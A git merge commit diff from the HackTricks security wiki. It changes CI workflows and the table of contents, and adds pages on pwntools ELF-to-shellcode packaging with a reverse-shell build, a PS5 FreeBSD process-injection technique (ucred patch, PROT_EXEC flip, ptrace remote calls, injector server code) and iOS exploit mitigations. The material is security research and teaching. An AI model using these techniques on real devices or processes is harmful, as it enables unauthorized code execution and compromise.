Merge branch 'master' into update_Strategies_for_Analyzing_Native_Code_in_Android_Ap_20250916_124743

This commit is contained in:
SirBroccoli 2025-09-30 20:02:04 +02:00 committed by GitHub
commit 98221d1efa
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
70 changed files with 3766 additions and 672 deletions

View File

@ -2,7 +2,7 @@ name: Auto Merge Approved PRs
on:
schedule:
- cron: '0 */2 * * *' # Every 2 hours
- cron: '0 */1 * * *' # Every 1 hour
workflow_dispatch: # Allow manual triggering
permissions:
@ -15,6 +15,17 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0
token: ${{ secrets.PAT_TOKEN }}
- name: Configure git
run: |
git config --global user.email "action@github.com"
git config --global user.name "GitHub Action"
- name: Check for running workflows
id: check_workflows
run: |
@ -93,6 +104,11 @@ jobs:
if [ "$has_merge_comment" = true ]; then
echo "Attempting to merge PR #$pr_number..."
# Get PR details including head branch
pr_details=$(gh pr view "$pr_number" --json headRefName,baseRefName --repo "$GITHUB_REPOSITORY")
head_branch=$(echo "$pr_details" | jq -r '.headRefName')
base_branch=$(echo "$pr_details" | jq -r '.baseRefName')
# --- Polling for non-UNKNOWN mergeable status ---
max_retries=10
retry=0
@ -118,6 +134,8 @@ jobs:
else
echo "Failed to merge PR #$pr_number: $pr_title"
fi
elif [ "$pr_mergeable" = "CONFLICTED" ] || [ "$pr_mergeable" = "CONFLICTING" ]; then
echo "PR #$pr_number has conflicts. Skipping auto-merge so it can be resolved manually."
else
echo "PR #$pr_number is not mergeable (status: $pr_mergeable)"
fi

View File

@ -35,60 +35,38 @@ jobs:
- name: Build mdBook
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Update searchindex in repo (purge history, keep current on HEAD)
- name: Install GitHub CLI
run: |
sudo apt-get update
sudo apt-get install -y gh
- name: Publish search index release asset
shell: bash
env:
PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
set -euo pipefail
ls -la
ls -la book
ASSET="book/searchindex.js"
TAG="searchindex-en"
TITLE="Search Index (en)"
git config --global --add safe.directory /__w/hacktricks/hacktricks
git config --global user.email "build@example.com"
git config --global user.name "Build master"
git config pull.rebase false
# Ensure we're on the target branch and up to date
git fetch origin
git reset --hard origin/master
# Choose the file to keep at HEAD:
# 1) Prefer freshly built version from book/
# 2) Fallback to the file currently at HEAD (if it exists)
HAS_FILE=0
if [ -f "book/searchindex.js" ]; then
cp "book/searchindex.js" /tmp/sidx.js
HAS_FILE=1
elif git cat-file -e "HEAD:searchindex.js" 2>/dev/null; then
git show "HEAD:searchindex.js" > /tmp/sidx.js
HAS_FILE=1
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
# Skip if there's nothing to purge AND nothing to keep
if [ "$HAS_FILE" = "1" ] || git rev-list -n 1 HEAD -- "searchindex.js" >/dev/null 2>&1; then
# Fail early if working tree is dirty (avoid confusing rewrites)
git diff --quiet || { echo "Working tree has uncommitted changes; aborting purge." >&2; exit 1; }
# Install git-filter-repo and ensure it's on PATH
python -m pip install --quiet --user git-filter-repo
export PATH="$HOME/.local/bin:$PATH"
# Rewrite ONLY the current branch, dropping all historical blobs of searchindex.js
git filter-repo --force --path "searchindex.js" --invert-paths --refs "$(git symbolic-ref -q HEAD)"
# Re-add the current version on top of rewritten history (keep it in HEAD)
if [ "$HAS_FILE" = "1" ]; then
mv /tmp/sidx.js "searchindex.js"
git add "searchindex.js"
git commit -m "Update searchindex (purged history; keep current)"
else
echo "No current searchindex.js to re-add after purge."
TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Safer force push (only updates if remote hasn't advanced)
git push --force-with-lease
if ! gh release view "$TAG" >/dev/null 2>&1; then
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
else
echo "Nothing to purge; skipping."
gh release upload "$TAG" "$ASSET" --clobber --repo "$GITHUB_REPOSITORY"
fi

View File

@ -65,7 +65,7 @@ jobs:
- name: Update and download scripts
run: |
sudo apt-get update
sudo apt-get install wget -y
sudo apt-get install -y wget gh
mkdir scripts
cd scripts
wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
@ -123,55 +123,33 @@ jobs:
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Update searchindex.js in repo (purge history, keep current on HEAD)
- name: Publish search index release asset
shell: bash
env:
PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
set -euo pipefail
# Be explicit about workspace trust (avoids "dubious ownership")
git config --global --add safe.directory "$GITHUB_WORKSPACE"
ASSET="book/searchindex.js"
TAG="searchindex-${BRANCH}"
TITLE="Search Index (${BRANCH})"
git checkout "$BRANCH"
git fetch origin "$BRANCH" --quiet
git pull --ff-only
# Choose the file to keep at HEAD:
# 1) Prefer freshly built version from book/
# 2) Fallback to the file currently at HEAD (if it exists)
HAS_FILE=0
if [ -f "book/searchindex.js" ]; then
cp "book/searchindex.js" /tmp/sidx.js
HAS_FILE=1
elif git cat-file -e "HEAD:searchindex.js" 2>/dev/null; then
git show "HEAD:searchindex.js" > /tmp/sidx.js
HAS_FILE=1
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
# Skip if there's nothing to purge AND nothing to keep
if [ "$HAS_FILE" = "1" ] || git rev-list -n 1 "$BRANCH" -- "searchindex.js" >/dev/null 2>&1; then
# **Fail early if working tree is dirty** (prevents confusing filter results)
git diff --quiet || { echo "Working tree has uncommitted changes; aborting purge." >&2; exit 1; }
# Make sure git-filter-repo is callable via `git filter-repo`
python -m pip install --quiet --user git-filter-repo
export PATH="$HOME/.local/bin:$PATH"
# Rewrite ONLY this branch, dropping all historical blobs of searchindex.js
git filter-repo --force --path "searchindex.js" --invert-paths --refs "refs/heads/$BRANCH"
# Re-add the current version on top of rewritten history (keep it in HEAD)
if [ "$HAS_FILE" = "1" ]; then
mv /tmp/sidx.js "searchindex.js"
git add "searchindex.js"
git commit -m "Update searchindex (purged history; keep current)"
else
echo "No current searchindex.js to re-add after purge."
TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# **Safer force push** (prevents clobbering unexpected remote updates)
git push --force-with-lease origin "$BRANCH"
if ! gh release view "$TAG" >/dev/null 2>&1; then
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
else
echo "Nothing to purge; skipping."
gh release upload "$TAG" "$ASSET" --clobber --repo "$GITHUB_REPOSITORY"
fi
# Login in AWs

1
.gitignore vendored
View File

@ -11,3 +11,4 @@ book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log
searchindex.js

View File

@ -222,6 +222,21 @@ Stay informed and up to date with the latest in cybersecurity by visiting our [*
https://www.lasttowersolutions.com/
{{#endref}}
---
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.
Moreover, K8Studio is **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## License & Disclaimer

View File

@ -37,6 +37,7 @@
- [Mobile Phishing Malicious Apps](generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md)
- [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
- [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
- [Adaptixc2 Config Extraction And Ttps](generic-methodologies-and-resources/basic-forensic-methodology/adaptixc2-config-extraction-and-ttps.md)
- [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
- [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
- [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
@ -58,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -81,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -129,6 +132,7 @@
- [Seccomp](linux-hardening/privilege-escalation/docker-security/seccomp.md)
- [Weaponizing Distroless](linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md)
- [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md)
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [euid, ruid, suid](linux-hardening/privilege-escalation/euid-ruid-suid.md)
- [Interesting Groups - Linux Privesc](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md)
- [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
@ -238,7 +242,6 @@
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@ -353,6 +356,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
@ -487,6 +491,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
@ -566,6 +571,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -725,6 +731,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
@ -768,7 +775,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,8 +845,14 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
@ -889,7 +902,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

View File

@ -173,7 +173,41 @@ To update pwntools
pwn update
```
## ELF → raw shellcode packaging (loader_append)
Pwntools can turn a standalone ELF into a single raw shellcode blob that selfmaps its segments and transfers execution to the original entrypoint. This is ideal for memoryonly loaders (e.g., Android apps invoking JNI to execute downloaded bytes).
Typical pipeline (amd64 example)
1) Build a static, positionindependent payload ELF (musl recommended for portability):
```bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
2) Convert ELF → shellcode with pwntools:
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
```
3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute inprocess.
Notes
- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.
- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.
- Keep your payloads code positionindependent and avoid assumptions about process ASLR/NX.
## References
- [Pwntools](https://docs.pwntools.com/en/stable/)
- [CoRPhone ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,199 @@
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../../../banners/hacktricks-training.md}}
## Overview
This page documents a practical Unix/BSD usermode process/ELF injection technique on PlayStation 5 (PS5), which is based on FreeBSD. The method generalizes to FreeBSD derivatives when you already have kernel read/write (R/W) primitives. High level:
- Patch the current process credentials (ucred) to grant debugger authority, enabling ptrace/mdbg on arbitrary user processes.
- Find target processes by walking the kernel allproc list.
- Bypass PROT_EXEC restrictions by flipping vm_map_entry.protection |= PROT_EXEC in the targets vm_map via kernel data writes.
- Use ptrace to perform Remote Function Invocation (RFI): suspend a thread, set registers to call arbitrary functions inside the target, resume, collect return values, and restore state.
- Map and run arbitrary ELF payloads inside the target using an in-process ELF loader, then spawn a dedicated thread that runs your payload and triggers a breakpoint to detach cleanly.
PS5 hypervisor mitigations worth noting (contextualized for this technique):
- XOM (execute-only .text) prevents reading/writing kernel .text.
- Clearing CR0.WP or disabling CR4.SMEP causes a hypervisor vmexit (crash). Only data-only kernel writes are viable.
- Userland mmap is restricted to PROT_READ|PROT_WRITE by default. Granting PROT_EXEC must be done by editing vm_map entries in kernel memory.
This technique is post-exploitation: it assumes kernel R/W primitives from an exploit chain. Public payloads demonstrate this up to firmware 10.01 at time of writing.
## Kernel data-only primitives
### Process discovery via allproc
FreeBSD maintains a doubly-linked list of processes in kernel .data at allproc. With a kernel read primitive, iterate it to locate process names and PIDs:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
Notes:
- KERNEL_ADDRESS_ALLPROC is firmware-dependent.
- p_comm is a fixed-size name; consider pid->proc lookups if needed.
### Elevate credentials for debugging (ucred)
On PS5, struct ucred includes an Authority ID field reachable via proc->p_ucred. Writing the debugger authority ID grants ptrace/mdbg over other processes:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 is specific to the PS5 firmware family and must be verified per version.
- After this write, the injector can attach and instrument user processes via ptrace/mdbg.
## Bypassing RW-only user mappings: vm_map PROT_EXEC flip
Userland mmap may be constrained to PROT_READ|PROT_WRITE. FreeBSD tracks a processs address space in a vm_map of vm_map_entry nodes (BST plus list). Each entry carries protection and max_protection fields:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
With kernel R/W you can locate the targets vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks.
- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections.
This bypasses userlands mmap policy by editing kernel-owned metadata directly.
## Remote Function Invocation (RFI) with ptrace
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:
1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
2. Save thread context: registers, PC, SP, flags.
3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
5. Restore original context and continue.
Use cases:
- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payloads main().
## Threaded stager and clean detach
A minimal stager inside the target creates a new pthread that runs the ELFs main and then triggers int3 to signal the injector to detach:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- The SCEFunctions/payload_args pointers are provided by the loader/SDK glue.
- After the breakpoint and detach, the payload continues in its own thread.
## End-to-end pipeline (PS5 reference implementation)
A working implementation ships as a small TCP injector server plus a client script:
- NineS server listens on TCP 9033 and receives a header containing the target process name followed by the ELF image:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Python client usage:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Hello-world payload example (logs to klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Practical considerations
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) are firmware-specific and must be updated per release.
- Hypervisor protections force data-only kernel writes; do not attempt to patch CR0.WP or CR4.SMEP.
- JIT memory is an alternative: some processes expose PS5 JIT APIs to allocate executable pages. The vm_map protection flip removes the need to rely on JIT/mirroring tricks.
- Keep register save/restore robust; on failure, you can deadlock or crash the target.
## Public tooling
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## References
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -299,3 +299,4 @@ int main(void) {
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -274,3 +274,4 @@ For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin
{{#include ../../banners/hacktricks-training.md}}

View File

@ -82,3 +82,4 @@ ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
{{#include ../../banners/hacktricks-training.md}}

View File

@ -211,3 +211,4 @@ if __name__ == '__main__':
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,6 +3,19 @@
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apples trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apples root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernels base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernels code pages to ensure they havent been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers cant simply hook or patch kernel instructions without triggering a system crash.
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPUs memory controller to mark the kernels code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
@ -221,3 +234,4 @@ void iosurface_kwrite64(uint64_t addr, uint64_t value) {
